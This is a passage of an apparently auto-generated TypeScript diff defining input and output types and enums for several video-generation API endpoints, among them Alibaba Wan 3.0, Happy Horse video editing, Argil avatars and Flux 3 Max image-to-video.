inputAlibabaHappyHorseVideoEditAudioSettingEnum)[keyof typeof inputAlibabaHappyHorseVideoEditAudioSettingEnum] + +/** + * @description Input for Happy Horse video-editing (source video + edit prompt). + * @type object + */ +export type InputAlibabaHappyHorseVideoEdit = { + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaHappyHorseVideoEditResolutionEnumKey + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility (0-2147483647). + */ + seed?: number | null + /** + * @description Optional reference images used to guide the edit (up to 5). Formats: JPEG, JPG, PNG, WEBP. Dimensions must be at least 300px. Aspect ratio between 1:2.5 and 2.5:1. Max 10 MB each. + */ + reference_image_urls?: string[] | null + /** + * @description URL of the source video to edit. Formats: MP4, MOV (H.264 recommended). Duration: 3-60 s. Longer side ≤ 2160 px, shorter side ≥ 320 px. Aspect ratio between 1:2.5 and 2.5:1. Frame rate > 8 fps. Max 100 MB. The output video preserves the source aspect ratio. Output duration matches the input video, capped at 15 s (longer inputs are truncated to the first 15 s). + * + * Max file size: 100.0MB, Min duration: 3s, Max duration: 60s, Timeout: 30.0s + * @example https://storage.googleapis.com/falserverless/example_inputs/editto/example_in.mp4 + * @type string + */ + video_url: string + /** + * @description Text prompt describing the desired edit. Reference any supplied reference images using @Image1, @Image2, ... up to @Image5. Max 2500 characters. + * @minLength 1 + * @example Recolor the sky to a deep purple sunset. + * @type string + */ + prompt: string + /** + * @description Audio handling. 'auto': model decides whether to regenerate audio. 'origin': preserve the original audio from the input video. + * @default 'auto' + * @type string | undefined + */ + audio_setting?: InputAlibabaHappyHorseVideoEditAudioSettingEnumKey +} + +/** + * @description Output for Happy Horse video generation. + * @type object + */ +export type OutputAlibabaHappyHorseVideoEdit = { + /** + * @description The generated video file. + * @type object + */ + video: VideoFile + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputAlibabaWan30PrimeImageToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputAlibabaWan30PrimeImageToVideoAspectRatioEnumKey = + (typeof inputAlibabaWan30PrimeImageToVideoAspectRatioEnum)[keyof typeof inputAlibabaWan30PrimeImageToVideoAspectRatioEnum] + +export const inputAlibabaWan30PrimeImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaWan30PrimeImageToVideoResolutionEnumKey = + (typeof inputAlibabaWan30PrimeImageToVideoResolutionEnum)[keyof typeof inputAlibabaWan30PrimeImageToVideoResolutionEnum] + +export type InputAlibabaWan30PrimeImageToVideo = { + /** + * @description First frame of the generated video. + * @type string + */ + start_image_url: string + /** + * @description Enable intelligent prompt rewriting. Disabling it can save roughly 20-60 seconds of latency but is likely to degrade generation quality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Output aspect ratio, or adaptive selection. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaWan30PrimeImageToVideoAspectRatioEnumKey + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaWan30PrimeImageToVideoResolutionEnumKey + /** + * @description Enable enhanced reasoning before generation. + * @default false + * @type boolean | undefined + */ + enable_thinking?: boolean + /** + * @description Last frame of the generated video. Requires start_image_url. + */ + end_image_url?: string | null + /** + * @description Text prompt describing the motion to generate. + */ + prompt?: string | null + /** + * @description Output duration in seconds. Set to null for smart duration, which lets the model pick a length from the prompt and reference media. + * @default 5 + */ + duration?: number | null + /** + * @description Include generated audio. + * @default true + * @type boolean | undefined + */ + audio?: boolean + seed?: number | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile233A589A = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputAlibabaWan30PrimeImageToVideo = { + actual_prompt?: string | null + /** + * @description The generated video file. + * @type object + */ + video: VideoFile233A589A + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated video duration in seconds. + * @type number + */ + duration: number +} + +export const inputAlibabaWan30PrimeReferenceToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputAlibabaWan30PrimeReferenceToVideoAspectRatioEnumKey = + (typeof inputAlibabaWan30PrimeReferenceToVideoAspectRatioEnum)[keyof typeof inputAlibabaWan30PrimeReferenceToVideoAspectRatioEnum] + +export const inputAlibabaWan30PrimeReferenceToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaWan30PrimeReferenceToVideoResolutionEnumKey = + (typeof inputAlibabaWan30PrimeReferenceToVideoResolutionEnum)[keyof typeof inputAlibabaWan30PrimeReferenceToVideoResolutionEnum] + +export type InputAlibabaWan30PrimeReferenceToVideo = { + /** + * @description Up to 5 reference video URLs totaling at most 15 seconds. Each clip must be at least 16 fps. Input video duration is billed in addition to output duration. + * @type array | undefined + */ + reference_video_urls?: string[] + /** + * @description Up to 10 reference image URLs. + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description Output duration in seconds. Set to null for smart duration, which lets the model pick a length from the prompt and reference media. + * @default 5 + */ + duration?: number | null + /** + * @description Enable enhanced reasoning before generation. + * @default false + * @type boolean | undefined + */ + enable_thinking?: boolean + /** + * @description Enable intelligent prompt rewriting. Disabling it can save roughly 20-60 seconds of latency but is likely to degrade generation quality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Up to 5 reference audio URLs totaling at most 15 seconds. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description Public webpage URL to base the video on. Requires enable_thinking=true. Only pages that do not require login can be read. + */ + web_url?: string | null + /** + * @description Output aspect ratio, or adaptive selection. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaWan30PrimeReferenceToVideoAspectRatioEnumKey + /** + * @description Text prompt directing how the reference media is used. Reference media can be addressed positionally, e.g. 'the subject in Image 1 walks past Video 1'. + */ + prompt?: string | null + seed?: number | null + /** + * @description Include generated audio. + * @default true + * @type boolean | undefined + */ + audio?: boolean + /** + * @description Document URL to base the video on. Requires enable_thinking=true. + */ + file_url?: string | null + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaWan30PrimeReferenceToVideoResolutionEnumKey + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile072C27B2 = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputAlibabaWan30PrimeReferenceToVideo = { + actual_prompt?: string | null + /** + * @description The generated video file. + * @type object + */ + video: VideoFile072C27B2 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated video duration in seconds. + * @type number + */ + duration: number +} + +export const inputAlibabaWan30PrimeTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaWan30PrimeTextToVideoResolutionEnumKey = + (typeof inputAlibabaWan30PrimeTextToVideoResolutionEnum)[keyof typeof inputAlibabaWan30PrimeTextToVideoResolutionEnum] + +export const inputAlibabaWan30PrimeTextToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputAlibabaWan30PrimeTextToVideoAspectRatioEnumKey = + (typeof inputAlibabaWan30PrimeTextToVideoAspectRatioEnum)[keyof typeof inputAlibabaWan30PrimeTextToVideoAspectRatioEnum] + +export type InputAlibabaWan30PrimeTextToVideo = { + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaWan30PrimeTextToVideoResolutionEnumKey + /** + * @description Enable intelligent prompt rewriting. Disabling it can save roughly 20-60 seconds of latency but is likely to degrade generation quality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Output aspect ratio, or adaptive selection. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaWan30PrimeTextToVideoAspectRatioEnumKey + /** + * @description Enable enhanced reasoning before generation. + * @default false + * @type boolean | undefined + */ + enable_thinking?: boolean + /** + * @description Text prompt for the generated video. + * @minLength 1 + * @maxLength 20000 + * @example A red panda walking through a bamboo forest at sunrise + * @type string + */ + prompt: string + /** + * @description Output duration in seconds. Set to null for smart duration, which lets the model pick a length from the prompt and reference media. + * @default 5 + */ + duration?: number | null + /** + * @description Include generated audio. + * @default true + * @type boolean | undefined + */ + audio?: boolean + seed?: number | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile6Ca2D9C8 = { + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputAlibabaWan30PrimeTextToVideo = { + actual_prompt?: string | null + /** + * @description The generated video file. + * @type object + */ + video: VideoFile6Ca2D9C8 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated video duration in seconds. + * @type number + */ + duration: number +} + +export const inputAlibabaWan30ImageToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputAlibabaWan30ImageToVideoAspectRatioEnumKey = + (typeof inputAlibabaWan30ImageToVideoAspectRatioEnum)[keyof typeof inputAlibabaWan30ImageToVideoAspectRatioEnum] + +export const inputAlibabaWan30ImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaWan30ImageToVideoResolutionEnumKey = + (typeof inputAlibabaWan30ImageToVideoResolutionEnum)[keyof typeof inputAlibabaWan30ImageToVideoResolutionEnum] + +export type InputAlibabaWan30ImageToVideo = { + /** + * @description First frame of the generated video. + * @type string + */ + start_image_url: string + /** + * @description Enable intelligent prompt rewriting. Disabling it can save roughly 20-60 seconds of latency but is likely to degrade generation quality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Output aspect ratio, or adaptive selection. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaWan30ImageToVideoAspectRatioEnumKey + /** + * @description Enable enhanced reasoning before generation. + * @default false + * @type boolean | undefined + */ + enable_thinking?: boolean + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaWan30ImageToVideoResolutionEnumKey + /** + * @description Last frame of the generated video. Requires start_image_url. + */ + end_image_url?: string | null + /** + * @description Text prompt describing the motion to generate. + */ + prompt?: string | null + /** + * @description Output duration in seconds. Set to null for smart duration, which lets the model pick a length from the prompt and reference media. + * @default 5 + */ + duration?: number | null + /** + * @description Include generated audio. + * @default true + * @type boolean | undefined + */ + audio?: boolean + seed?: number | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFileEbf54706 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputAlibabaWan30ImageToVideo = { + actual_prompt?: string | null + /** + * @description The generated video file. + * @type object + */ + video: VideoFileEbf54706 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated video duration in seconds. + * @type number + */ + duration: number +} + +export const inputAlibabaWan30ReferenceToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputAlibabaWan30ReferenceToVideoAspectRatioEnumKey = + (typeof inputAlibabaWan30ReferenceToVideoAspectRatioEnum)[keyof typeof inputAlibabaWan30ReferenceToVideoAspectRatioEnum] + +export const inputAlibabaWan30ReferenceToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaWan30ReferenceToVideoResolutionEnumKey = + (typeof inputAlibabaWan30ReferenceToVideoResolutionEnum)[keyof typeof inputAlibabaWan30ReferenceToVideoResolutionEnum] + +export type InputAlibabaWan30ReferenceToVideo = { + /** + * @description Public webpage URL to base the video on. Requires enable_thinking=true. Only pages that do not require login can be read. + */ + web_url?: string | null + /** + * @description Enable intelligent prompt rewriting. Disabling it can save roughly 20-60 seconds of latency but is likely to degrade generation quality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Include generated audio. + * @default true + * @type boolean | undefined + */ + audio?: boolean + /** + * @description Up to 5 reference audio URLs totaling at most 15 seconds. + * @type array | undefined + */ + reference_audio_urls?: string[] + /** + * @description Output aspect ratio, or adaptive selection. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaWan30ReferenceToVideoAspectRatioEnumKey + seed?: number | null + /** + * @description Enable enhanced reasoning before generation. + * @default false + * @type boolean | undefined + */ + enable_thinking?: boolean + /** + * @description Up to 10 reference image URLs. + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description Output duration in seconds. Set to null for smart duration, which lets the model pick a length from the prompt and reference media. + * @default 5 + */ + duration?: number | null + /** + * @description Document URL to base the video on. Requires enable_thinking=true. + */ + file_url?: string | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaWan30ReferenceToVideoResolutionEnumKey + /** + * @description Text prompt directing how the reference media is used. Reference media can be addressed positionally, e.g. 'the subject in Image 1 walks past Video 1'. + */ + prompt?: string | null + /** + * @description Up to 5 reference video URLs totaling at most 15 seconds. Each clip must be at least 16 fps. Input video duration is billed in addition to output duration. + * @type array | undefined + */ + reference_video_urls?: string[] +} + +export type VideoFile8Cd84326 = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputAlibabaWan30ReferenceToVideo = { + actual_prompt?: string | null + /** + * @description The generated video file. + * @type object + */ + video: VideoFile8Cd84326 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated video duration in seconds. + * @type number + */ + duration: number +} + +export const inputAlibabaWan30TextToVideoAspectRatioEnum = { + adaptive: 'adaptive', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputAlibabaWan30TextToVideoAspectRatioEnumKey = + (typeof inputAlibabaWan30TextToVideoAspectRatioEnum)[keyof typeof inputAlibabaWan30TextToVideoAspectRatioEnum] + +export const inputAlibabaWan30TextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputAlibabaWan30TextToVideoResolutionEnumKey = + (typeof inputAlibabaWan30TextToVideoResolutionEnum)[keyof typeof inputAlibabaWan30TextToVideoResolutionEnum] + +export type InputAlibabaWan30TextToVideo = { + /** + * @description Enable enhanced reasoning before generation. + * @default false + * @type boolean | undefined + */ + enable_thinking?: boolean + /** + * @description Enable intelligent prompt rewriting. Disabling it can save roughly 20-60 seconds of latency but is likely to degrade generation quality. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Output aspect ratio, or adaptive selection. + * @default 'adaptive' + * @type string | undefined + */ + aspect_ratio?: InputAlibabaWan30TextToVideoAspectRatioEnumKey + /** + * @description Output video resolution tier. + * @default '1080p' + * @type string | undefined + */ + resolution?: InputAlibabaWan30TextToVideoResolutionEnumKey + /** + * @description Text prompt for the generated video. + * @minLength 1 + * @maxLength 20000 + * @example A red panda walking through a bamboo forest at sunrise + * @type string + */ + prompt: string + /** + * @description Output duration in seconds. Set to null for smart duration, which lets the model pick a length from the prompt and reference media. + * @default 5 + */ + duration?: number | null + /** + * @description Include generated audio. + * @default true + * @type boolean | undefined + */ + audio?: boolean + seed?: number | null + /** + * @description Enable content moderation for input and output. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type VideoFile38C17A5C = { + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputAlibabaWan30TextToVideo = { + actual_prompt?: string | null + /** + * @description The generated video file. + * @type object + */ + video: VideoFile38C17A5C + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description Generated video duration in seconds. + * @type number + */ + duration: number +} + +export const inputArgilAvatarsAudioToVideoAvatarEnum = { + 'Mia outdoor (UGC)': 'Mia outdoor (UGC)', + 'Lara (Masterclass)': 'Lara (Masterclass)', + 'Ines (UGC)': 'Ines (UGC)', + 'Maria (Masterclass)': 'Maria (Masterclass)', + 'Emma (UGC)': 'Emma (UGC)', + 'Sienna (Masterclass)': 'Sienna (Masterclass)', + 'Elena (UGC)': 'Elena (UGC)', + 'Jasmine (Masterclass)': 'Jasmine (Masterclass)', + 'Amara (Masterclass)': 'Amara (Masterclass)', + 'Ryan podcast (UGC)': 'Ryan podcast (UGC)', + 'Tyler (Masterclass)': 'Tyler (Masterclass)', + 'Jayse (Masterclass)': 'Jayse (Masterclass)', + 'Paul (Masterclass)': 'Paul (Masterclass)', + 'Matteo (UGC)': 'Matteo (UGC)', + 'Daniel car (UGC)': 'Daniel car (UGC)', + 'Dario (Masterclass)': 'Dario (Masterclass)', + 'Viva (Masterclass)': 'Viva (Masterclass)', + 'Chen (Masterclass)': 'Chen (Masterclass)', + 'Alex (Masterclass)': 'Alex (Masterclass)', + 'Vanessa (UGC)': 'Vanessa (UGC)', + 'Laurent (UGC)': 'Laurent (UGC)', + 'Noemie car (UGC)': 'Noemie car (UGC)', + 'Brandon (UGC)': 'Brandon (UGC)', + 'Byron (Masterclass)': 'Byron (Masterclass)', + 'Calista (Masterclass)': 'Calista (Masterclass)', + 'Milo (Masterclass)': 'Milo (Masterclass)', + 'Fabien (Masterclass)': 'Fabien (Masterclass)', + 'Rose (UGC)': 'Rose (UGC)', +} as const + +export type InputArgilAvatarsAudioToVideoAvatarEnumKey = + (typeof inputArgilAvatarsAudioToVideoAvatarEnum)[keyof typeof inputArgilAvatarsAudioToVideoAvatarEnum] + +export type InputArgilAvatarsAudioToVideo = { + /** + * @example Noemie car (UGC) + * @type string + */ + avatar: InputArgilAvatarsAudioToVideoAvatarEnumKey + /** + * @description Enabling the remove background feature will result in a 50% increase in the price. + * @default false + * @type boolean | undefined + */ + remove_background?: boolean + /** + * @example {"url":"https://argildotai.s3.us-east-1.amazonaws.com/fal-resource/example_fal.mp3"} + * @type string + */ + audio_url: string +} + +export type Video = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputArgilAvatarsAudioToVideo = { + moderation_transcription?: string | null + moderation_error?: string | null + /** + * @default false + * @type boolean | undefined + */ + moderation_flagged?: boolean + /** + * @example {"url":"https://argildotai.s3.us-east-1.amazonaws.com/fal-resource/example_fal.mp4"} + */ + video?: Video | null +} + +export const inputArgilAvatarsTextToVideoVoiceEnum = { + Rachel: 'Rachel', + Clyde: 'Clyde', + Roger: 'Roger', + Sarah: 'Sarah', + Laura: 'Laura', + Thomas: 'Thomas', + Charlie: 'Charlie', + George: 'George', + Callum: 'Callum', + River: 'River', + Harry: 'Harry', + Liam: 'Liam', + Alice: 'Alice', + Matilda: 'Matilda', + Will: 'Will', + Jessica: 'Jessica', + Lilly: 'Lilly', + Bill: 'Bill', + Oxley: 'Oxley', + Luna: 'Luna', +} as const + +export type InputArgilAvatarsTextToVideoVoiceEnumKey = + (typeof inputArgilAvatarsTextToVideoVoiceEnum)[keyof typeof inputArgilAvatarsTextToVideoVoiceEnum] + +export const inputArgilAvatarsTextToVideoAvatarEnum = { + 'Mia outdoor (UGC)': 'Mia outdoor (UGC)', + 'Lara (Masterclass)': 'Lara (Masterclass)', + 'Ines (UGC)': 'Ines (UGC)', + 'Maria (Masterclass)': 'Maria (Masterclass)', + 'Emma (UGC)': 'Emma (UGC)', + 'Sienna (Masterclass)': 'Sienna (Masterclass)', + 'Elena (UGC)': 'Elena (UGC)', + 'Jasmine (Masterclass)': 'Jasmine (Masterclass)', + 'Amara (Masterclass)': 'Amara (Masterclass)', + 'Ryan podcast (UGC)': 'Ryan podcast (UGC)', + 'Tyler (Masterclass)': 'Tyler (Masterclass)', + 'Jayse (Masterclass)': 'Jayse (Masterclass)', + 'Paul (Masterclass)': 'Paul (Masterclass)', + 'Matteo (UGC)': 'Matteo (UGC)', + 'Daniel car (UGC)': 'Daniel car (UGC)', + 'Dario (Masterclass)': 'Dario (Masterclass)', + 'Viva (Masterclass)': 'Viva (Masterclass)', + 'Chen (Masterclass)': 'Chen (Masterclass)', + 'Alex (Masterclass)': 'Alex (Masterclass)', + 'Vanessa (UGC)': 'Vanessa (UGC)', + 'Laurent (UGC)': 'Laurent (UGC)', + 'Noemie car (UGC)': 'Noemie car (UGC)', + 'Brandon (UGC)': 'Brandon (UGC)', + 'Byron (Masterclass)': 'Byron (Masterclass)', + 'Calista (Masterclass)': 'Calista (Masterclass)', + 'Milo (Masterclass)': 'Milo (Masterclass)', + 'Fabien (Masterclass)': 'Fabien (Masterclass)', + 'Rose (UGC)': 'Rose (UGC)', +} as const + +export type InputArgilAvatarsTextToVideoAvatarEnumKey = + (typeof inputArgilAvatarsTextToVideoAvatarEnum)[keyof typeof inputArgilAvatarsTextToVideoAvatarEnum] + +export type InputArgilAvatarsTextToVideo = { + /** + * @example + * Argil is kinda crazy guys! You just turn a real person into + * an avatar that actually talks and moves and it's already reel-ready, + * for TikTok, Shorts, whatever. No wasting hours editing, it still looks super pro. + * + * @type string + */ + text: string + voice: InputArgilAvatarsTextToVideoVoiceEnumKey + /** + * @description Enabling the remove background feature will result in a 50% increase in the price. + * @default false + * @type boolean | undefined + */ + remove_background?: boolean + /** + * @example Noemie car (UGC) + * @type string + */ + avatar: InputArgilAvatarsTextToVideoAvatarEnumKey +} + +export type OutputArgilAvatarsTextToVideo = { + moderation_transcription?: string | null + moderation_error?: string | null + /** + * @default false + * @type boolean | undefined + */ + moderation_flagged?: boolean + /** + * @example {"url":"https://argildotai.s3.us-east-1.amazonaws.com/fal-resource/example_fal.mp4"} + */ + video?: Video | null +} + +export const inputBlackforestlabsFlux3MaxImageToVideoReasoningLevelEnum = { + low: 'low', + high: 'high', +} as const + +export type InputBlackforestlabsFlux3MaxImageToVideoReasoningLevelEnumKey = + (typeof inputBlackforestlabsFlux3MaxImageToVideoReasoningLevelEnum)[keyof typeof inputBlackforestlabsFlux3MaxImageToVideoReasoningLevelEnum] + +export const inputBlackforestlabsFlux3MaxImageToVideoResolutionEnum = { + '720p': '720p', + '1080p': '1080p', + '2K': '2K', + '4K': '4K', +} as const + +export type InputBlackforestlabsFlux3MaxImageToVideoResolutionEnumKey = + (typeof inputBlackforestlabsFlux3MaxImageToVideoResolutionEnum)[keyof typeof inputBlackforestlabsFlux3MaxImageToVideoResolutionEnum] + +export const inputBlackforestlabsFlux3MaxImageToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '2:1': '2:1', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBlackforestlabsFlux3MaxImageToVideoAspectRatioEnumKey = + (typeof inputBlackforestlabsFlux3MaxImageToVideoAspectRatioEnum)[keyof typeof inputBlackforestlabsFlux3MaxImageToVideoAspectRatioEnum] + +export const inputBlackforestlabsFlux3MaxImageToVideoDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, +} as const + +export type InputBlackforestlabsFlux3MaxImageToVideoDurationEnumKey = + (typeof inputBlackforestlabsFlux3MaxImageToVideoDurationEnum)[keyof typeof inputBlackforestlabsFlux3MaxImageToVideoDurationEnum] + +export type InputBlackforestlabsFlux3MaxImageToVideo = { + /** + * @description How much effort the harness spends reasoning about the given prompt. Higher reasoning effort means slower generation time. + * @default 'high' + * @type string | undefined + */ + reasoning_level?: InputBlackforestlabsFlux3MaxImageToVideoReasoningLevelEnumKey + /** + * @description Resolution of the generated video. `1080p`, `2K` (1440p) and `4K` (2160p) are upscaled from the 720p generation; exact dimensions depend on the aspect ratio. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBlackforestlabsFlux3MaxImageToVideoResolutionEnumKey + /** + * @description Aspect ratio of the generated video. `auto` uses 16:9 for text prompts and follows the first image otherwise. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBlackforestlabsFlux3MaxImageToVideoAspectRatioEnumKey + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Optional URL of the image used as the last frame of the video (PNG, JPEG, or WebP). + */ + end_image_url?: string | null + /** + * @description Duration of the generated video in seconds. + * @default 5 + * @type number | undefined + */ + duration?: InputBlackforestlabsFlux3MaxImageToVideoDurationEnumKey + /** + * @description The seed to use for the generation. Random when not provided. + */ + seed?: number | null + /** + * @description The text prompt describing how the video unfolds from the image. + * @minLength 1 + * @example The monkey leans into his microphone and says, "Welcome back to the show!" The polar bear laughs and nods along, tapping the desk. Jungle birdsong on the left, a cold wind on the right. + * @type string + */ + prompt: string + /** + * @description URL of the image the video starts from (PNG, JPEG, or WebP). + * @example https://storage.googleapis.com/falserverless/example_inputs/veo31_i2v_input.jpg + * @type string + */ + image_url: string +} + +export type VideoFile95715206 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The width of the video + */ + width?: 